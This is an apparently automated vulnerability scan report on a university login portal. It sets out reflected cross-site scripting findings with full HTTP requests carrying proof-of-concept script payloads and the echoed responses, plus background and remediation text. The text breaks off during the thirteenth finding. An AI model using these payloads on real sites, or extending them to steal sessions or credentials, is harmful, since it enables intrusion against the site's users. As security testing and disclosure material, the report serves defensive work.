Report generated by HTI at Sat Sep 01 09:27:13 EDT 2012.

XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, secure.champlain.edu

Loading

1. Cross-site scripting (reflected)

1.1. https://secure.champlain.edu/portal/index.php [name of an arbitrarily supplied request parameter]

1.2. https://secure.champlain.edu/portal/index.php [name of an arbitrarily supplied request parameter]

1.3. https://secure.champlain.edu/portal/index.php/b7b38 [REST URL parameter 3]

1.4. https://secure.champlain.edu/portal/index.php/b7b38%22%3E%3Cscript%3Ealert(1)%3C/logo.gif [REST URL parameter 3]

1.5. https://secure.champlain.edu/portal/index.php/b7b38%22%3E%3Cscript%3Ealert(1)%3C/logo.gif [REST URL parameter 3]

1.6. https://secure.champlain.edu/portal/index.php/b7b38%22%3E%3Cscript%3Ealert(1)%3C/logo.gif [REST URL parameter 4]

1.7. https://secure.champlain.edu/portal/index.php/b7b38%22%3E%3Cscript%3Ealert(1)%3C/script%3E4b7b2a0659674f01d [REST URL parameter 3]

1.8. https://secure.champlain.edu/portal/index.php/b7b38%22%3E%3Cscript%3Ealert(1)%3C/script%3E4b7b2a0659674f01d [REST URL parameter 3]

1.9. https://secure.champlain.edu/portal/index.php/b7b38%22%3E%3Cscript%3Ealert(1)%3C/script%3E4b7b2a0659674f01d [REST URL parameter 4]

1.10. https://secure.champlain.edu/portal/index.php/b7b38%22%3E%3Cscript%3Ealert(1)%3C/script%3E4b7b2a0659674f01d [REST URL parameter 4]

1.11. https://secure.champlain.edu/portal/index.php/b7b38%22%3E%3Cscript%3Ealert(document.location)%3C/logo.gif [REST URL parameter 3]

1.12. https://secure.champlain.edu/portal/index.php/b7b38%22%3E%3Cscript%3Ealert(document.location)%3C/logo.gif [REST URL parameter 3]

1.13. https://secure.champlain.edu/portal/index.php/b7b38%22%3E%3Cscript%3Ealert(document.location)%3C/logo.gif [REST URL parameter 4]

1.14. https://secure.champlain.edu/portal/index.php/logo.gif [REST URL parameter 3]

2. Password field submitted using GET method

3. Password field with autocomplete enabled

3.1. https://secure.champlain.edu/portal/index.php

3.2. https://secure.champlain.edu/portal/index.php/b7b38

3.3. https://secure.champlain.edu/portal/index.php/b7b38%22%3E%3Cscript%3Ealert(1)%3C/script%3E4b7b2a0659674f01d

3.4. https://secure.champlain.edu/portal/index.php/logo.gif

4. Cacheable HTTPS response

4.1. https://secure.champlain.edu/

4.2. https://secure.champlain.edu/deposit/

4.3. https://secure.champlain.edu/portal/index.php

4.4. https://secure.champlain.edu/portal/index.php/b7b38

4.5. https://secure.champlain.edu/portal/index.php/b7b38%22%3E%3Cscript%3Ealert(1)%3C/logo.gif

4.6. https://secure.champlain.edu/portal/index.php/b7b38%22%3E%3Cscript%3Ealert(1)%3C/script%3E4b7b2a0659674f01d

4.7. https://secure.champlain.edu/portal/index.php/b7b38%22%3E%3Cscript%3Ealert(document.location)%3C/logo.gif

4.8. https://secure.champlain.edu/portal/index.php/logo.gif

5. Content type incorrectly stated



1. Cross-site scripting (reflected)  next
There are 14 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organization. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organization which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organization in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. https://secure.champlain.edu/portal/index.php [name of an arbitrarily supplied request parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://secure.champlain.edu
Path:   /portal/index.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e1ff4"><script>alert(1)</script>e2ca46ae6d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /portal/index.php/e1ff4"><script>alert(1)</script>e2ca46ae6d HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept-Encoding: gzip, deflate
Host: secure.champlain.edu
Connection: Keep-Alive
Cookie: mycc_ss=2
Content-Length: 10


Response

HTTP/1.0 200 OK
Date: Mon, 26 Dec 2011 02:02:22 GMT
Server: Apache/2.2.15 (Red Hat)
X-Powered-By: PHP/5.3.3
Content-Length: 2300
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
<form action="/portal/index.php/e1ff4"><script>alert(1)</script>e2ca46ae6d" method="post" name="signon">
...[SNIP]...

1.2. https://secure.champlain.edu/portal/index.php [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://secure.champlain.edu
Path:   /portal/index.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b7b38"><script>alert(1)</script>4b7b2a0659674f01d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /portal/index.php/b7b38"><script>alert(1)</script>4b7b2a0659674f01d?username=xss&password=xss&submit=Login&loginsubmitted=1 HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Referer: https://secure.champlain.edu/portal/index.php
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept-Encoding: gzip, deflate
Host: secure.champlain.edu
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: mycc_ss=2

Response

HTTP/1.0 200 OK
Date: Mon, 26 Dec 2011 02:02:30 GMT
Server: Apache/2.2.15 (Red Hat)
X-Powered-By: PHP/5.3.3
Content-Length: 2314
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
<form action="/portal/index.php/b7b38"><script>alert(1)</script>4b7b2a0659674f01d" method="post" name="signon">
...[SNIP]...

1.3. https://secure.champlain.edu/portal/index.php/b7b38 [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://secure.champlain.edu
Path:   /portal/index.php/b7b38

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 26367"><script>alert(1)</script>18fee3c8a08 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /portal/index.php/b7b3826367"><script>alert(1)</script>18fee3c8a08?username=lkjhlg&password=lh%3Blkljnl&submit=Login&loginsubmitted=1 HTTP/1.1
Host: secure.champlain.edu
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://secure.champlain.edu/portal/index.php/b7b38%22%3E%3Cscript%3Ealert(1)%3C/script%3E4b7b2a0659674f01d?username=xss&password=xss&submit=Login&loginsubmitted=1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mycc_ss=2
Content-Length: 10


Response

HTTP/1.1 200 OK
Date: Mon, 26 Dec 2011 02:31:09 GMT
Server: Apache/2.2.15 (Red Hat)
X-Powered-By: PHP/5.3.3
Content-Length: 2312
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
<form action="/portal/index.php/b7b3826367"><script>alert(1)</script>18fee3c8a08" method="post" name="signon">
...[SNIP]...

1.4. https://secure.champlain.edu/portal/index.php/b7b38%22%3E%3Cscript%3Ealert(1)%3C/logo.gif [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://secure.champlain.edu
Path:   /portal/index.php/b7b38%22%3E%3Cscript%3Ealert(1)%3C/logo.gif

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e0972"-alert(1)-"b176188aa2c was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /portal/index.php/b7b38%22%3E%3Cscript%3Ealert(1)%3Ce0972"-alert(1)-"b176188aa2c/logo.gif HTTP/1.1
Host: secure.champlain.edu
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7
Accept: */*
Referer: https://secure.champlain.edu/portal/index.php/b7b38%22%3E%3Cscript%3Ealert(1)%3C/script%3E4b7b2a0659674f01d?username=xss&password=xss&submit=Login&loginsubmitted=1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mycc_ss=2
Content-Length: 10


Response

HTTP/1.1 200 OK
Date: Mon, 26 Dec 2011 02:30:58 GMT
Server: Apache/2.2.15 (Red Hat)
X-Powered-By: PHP/5.3.3
Content-Length: 2338
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
<e0972"-alert(1)-"b176188aa2c/logo.gif" name="goback">
...[SNIP]...

1.5. https://secure.champlain.edu/portal/index.php/b7b38%22%3E%3Cscript%3Ealert(1)%3C/logo.gif [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://secure.champlain.edu
Path:   /portal/index.php/b7b38%22%3E%3Cscript%3Ealert(1)%3C/logo.gif

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 49155"><script>alert(1)</script>8830d9c7a54 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /portal/index.php/49155"><script>alert(1)</script>8830d9c7a54/logo.gif HTTP/1.1
Host: secure.champlain.edu
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7
Accept: */*
Referer: https://secure.champlain.edu/portal/index.php/b7b38%22%3E%3Cscript%3Ealert(1)%3C/script%3E4b7b2a0659674f01d?username=xss&password=xss&submit=Login&loginsubmitted=1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mycc_ss=2
Content-Length: 10


Response

HTTP/1.1 200 OK
Date: Mon, 26 Dec 2011 02:30:58 GMT
Server: Apache/2.2.15 (Red Hat)
X-Powered-By: PHP/5.3.3
Content-Length: 2320
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
<form action="/portal/index.php/49155"><script>alert(1)</script>8830d9c7a54/logo.gif" method="post" name="signon">
...[SNIP]...

1.6. https://secure.champlain.edu/portal/index.php/b7b38%22%3E%3Cscript%3Ealert(1)%3C/logo.gif [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://secure.champlain.edu
Path:   /portal/index.php/b7b38%22%3E%3Cscript%3Ealert(1)%3C/logo.gif

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 77ca6"-alert(1)-"9c9a9812387 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /portal/index.php/b7b38%22%3E%3Cscript%3Ealert(1)%3C/logo.gif77ca6"-alert(1)-"9c9a9812387 HTTP/1.1
Host: secure.champlain.edu
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7
Accept: */*
Referer: https://secure.champlain.edu/portal/index.php/b7b38%22%3E%3Cscript%3Ealert(1)%3C/script%3E4b7b2a0659674f01d?username=xss&password=xss&submit=Login&loginsubmitted=1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mycc_ss=2
Content-Length: 10


Response

HTTP/1.1 200 OK
Date: Mon, 26 Dec 2011 02:30:59 GMT
Server: Apache/2.2.15 (Red Hat)
X-Powered-By: PHP/5.3.3
Content-Length: 2338
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
</logo.gif77ca6"-alert(1)-"9c9a9812387" name="goback">
...[SNIP]...

1.7. https://secure.champlain.edu/portal/index.php/b7b38%22%3E%3Cscript%3Ealert(1)%3C/script%3E4b7b2a0659674f01d [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://secure.champlain.edu
Path:   /portal/index.php/b7b38%22%3E%3Cscript%3Ealert(1)%3C/script%3E4b7b2a0659674f01d

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4a93d"><script>alert(1)</script>6d33950ad3b was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /portal/index.php/4a93d"><script>alert(1)</script>6d33950ad3b/script%3E4b7b2a0659674f01d?username=xss&password=xss&submit=Login&loginsubmitted=1 HTTP/1.1
Host: secure.champlain.edu
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7
Accept: */*
Referer: https://secure.champlain.edu/portal/index.php/b7b38%22%3E%3Cscript%3Ealert(1)%3C/script%3E4b7b2a0659674f01d?username=xss&password=xss&submit=Login&loginsubmitted=1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mycc_ss=2
Content-Length: 10


Response

HTTP/1.1 200 OK
Date: Mon, 26 Dec 2011 02:31:03 GMT
Server: Apache/2.2.15 (Red Hat)
X-Powered-By: PHP/5.3.3
Content-Length: 2352
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
<form action="/portal/index.php/4a93d"><script>alert(1)</script>6d33950ad3b/script>
...[SNIP]...

1.8. https://secure.champlain.edu/portal/index.php/b7b38%22%3E%3Cscript%3Ealert(1)%3C/script%3E4b7b2a0659674f01d [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://secure.champlain.edu
Path:   /portal/index.php/b7b38%22%3E%3Cscript%3Ealert(1)%3C/script%3E4b7b2a0659674f01d

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f34cc"-alert(1)-"5c65de89b21 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /portal/index.php/b7b38%22%3E%3Cscript%3Ealert(1)%3Cf34cc"-alert(1)-"5c65de89b21/script%3E4b7b2a0659674f01d?username=xss&password=xss&submit=Login&loginsubmitted=1 HTTP/1.1
Host: secure.champlain.edu
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7
Accept: */*
Referer: https://secure.champlain.edu/portal/index.php/b7b38%22%3E%3Cscript%3Ealert(1)%3C/script%3E4b7b2a0659674f01d?username=xss&password=xss&submit=Login&loginsubmitted=1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mycc_ss=2
Content-Length: 10


Response

HTTP/1.1 200 OK
Date: Mon, 26 Dec 2011 02:31:03 GMT
Server: Apache/2.2.15 (Red Hat)
X-Powered-By: PHP/5.3.3
Content-Length: 2370
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
<f34cc"-alert(1)-"5c65de89b21/script>
...[SNIP]...

1.9. https://secure.champlain.edu/portal/index.php/b7b38%22%3E%3Cscript%3Ealert(1)%3C/script%3E4b7b2a0659674f01d [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://secure.champlain.edu
Path:   /portal/index.php/b7b38%22%3E%3Cscript%3Ealert(1)%3C/script%3E4b7b2a0659674f01d

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9c488"-alert(1)-"9b77927090a was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /portal/index.php/b7b38%22%3E%3Cscript%3Ealert(1)%3C/9c488"-alert(1)-"9b77927090a?username=xss&password=xss&submit=Login&loginsubmitted=1 HTTP/1.1
Host: secure.champlain.edu
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7
Accept: */*
Referer: https://secure.champlain.edu/portal/index.php/b7b38%22%3E%3Cscript%3Ealert(1)%3C/script%3E4b7b2a0659674f01d?username=xss&password=xss&submit=Login&loginsubmitted=1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mycc_ss=2
Content-Length: 10


Response

HTTP/1.1 200 OK
Date: Mon, 26 Dec 2011 02:31:05 GMT
Server: Apache/2.2.15 (Red Hat)
X-Powered-By: PHP/5.3.3
Content-Length: 2322
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
</9c488"-alert(1)-"9b77927090a" name="goback">
...[SNIP]...

1.10. https://secure.champlain.edu/portal/index.php/b7b38%22%3E%3Cscript%3Ealert(1)%3C/script%3E4b7b2a0659674f01d [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://secure.champlain.edu
Path:   /portal/index.php/b7b38%22%3E%3Cscript%3Ealert(1)%3C/script%3E4b7b2a0659674f01d

Issue detail

The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload 4e656<script>alert(1)</script>27c58417f8c was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /portal/index.php/b7b38%22%3E%3Cscript%3Ealert(1)%3C/script%3E4b7b2a0659674f01d4e656<script>alert(1)</script>27c58417f8c?username=xss&password=xss&submit=Login&loginsubmitted=1 HTTP/1.1
Host: secure.champlain.edu
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7
Accept: */*
Referer: https://secure.champlain.edu/portal/index.php/b7b38%22%3E%3Cscript%3Ealert(1)%3C/script%3E4b7b2a0659674f01d?username=xss&password=xss&submit=Login&loginsubmitted=1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mycc_ss=2
Content-Length: 10


Response

HTTP/1.1 200 OK
Date: Mon, 26 Dec 2011 02:31:05 GMT
Server: Apache/2.2.15 (Red Hat)
X-Powered-By: PHP/5.3.3
Content-Length: 2396
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
</script>4b7b2a0659674f01d4e656<script>alert(1)</script>27c58417f8c" method="post" name="signon">
...[SNIP]...

1.11. https://secure.champlain.edu/portal/index.php/b7b38%22%3E%3Cscript%3Ealert(document.location)%3C/logo.gif [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://secure.champlain.edu
Path:   /portal/index.php/b7b38%22%3E%3Cscript%3Ealert(document.location)%3C/logo.gif

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 18efd"-alert(1)-"2ede0c76551 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /portal/index.php/b7b38%22%3E%3Cscript%3Ealert(document.location)%3C18efd"-alert(1)-"2ede0c76551/logo.gif HTTP/1.1
Host: secure.champlain.edu
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://secure.champlain.edu/portal/index.php/b7b38%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E4b7b2a0659674f01d?username=xss&password=xss&submit=Login&loginsubmitted=1
Cookie: mycc_ss=2; __unam=2f0186a-13478094886-78a394aa-9; MM_GUID=0273cfdf-e34c-8eb1-96bc-604d0029933b; MM_UUID=ED5C3DC3-7CA4-4A72-8978-681B84D4B07A
Content-Length: 10


Response

HTTP/1.1 200 OK
Date: Mon, 26 Dec 2011 02:28:55 GMT
Server: Apache/2.2.15 (Red Hat)
X-Powered-By: PHP/5.3.3
Content-Length: 2370
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
<18efd"-alert(1)-"2ede0c76551/logo.gif" name="goback">
...[SNIP]...

1.12. https://secure.champlain.edu/portal/index.php/b7b38%22%3E%3Cscript%3Ealert(document.location)%3C/logo.gif [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://secure.champlain.edu
Path:   /portal/index.php/b7b38%22%3E%3Cscript%3Ealert(document.location)%3C/logo.gif

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1aa30"><script>alert(1)</script>d119c656d68 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /portal/index.php/1aa30"><script>alert(1)</script>d119c656d68/logo.gif HTTP/1.1
Host: secure.champlain.edu
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://secure.champlain.edu/portal/index.php/b7b38%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E4b7b2a0659674f01d?username=xss&password=xss&submit=Login&loginsubmitted=1
Cookie: mycc_ss=2; __unam=2f0186a-13478094886-78a394aa-9; MM_GUID=0273cfdf-e34c-8eb1-96bc-604d0029933b; MM_UUID=ED5C3DC3-7CA4-4A72-8978-681B84D4B07A
Content-Length: 10


Response

HTTP/1.1 200 OK
Date: Mon, 26 Dec 2011 02:28:54 GMT
Server: Apache/2.2.15 (Red Hat)
X-Powered-By: PHP/5.3.3
Content-Length: 2320
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
<form action="/portal/index.php/1aa30"><script>alert(1)</script>d119c656d68/logo.gif" method="post" name="signon">
...[SNIP]...

1.13. https://secure.champlain.edu/portal/index.php/b7b38%22%3E%3Cscript%3Ealert(document.location)%3C/logo.gif [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://secure.champlain.edu
Path:   /portal/index.php/b7b38%22%3E%3Cscript%3Ealert(document.location)%3C/logo.gif

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 457c2"-alert(1)-"abd6b5b1f2 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /portal/index.php/b7b38%22%3E%3Cscript%3Ealert(document.location)%3C/logo.gif457c2"-alert(1)-"abd6b5b1f2 HTTP/1.1
Host: secure.champlain.edu
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
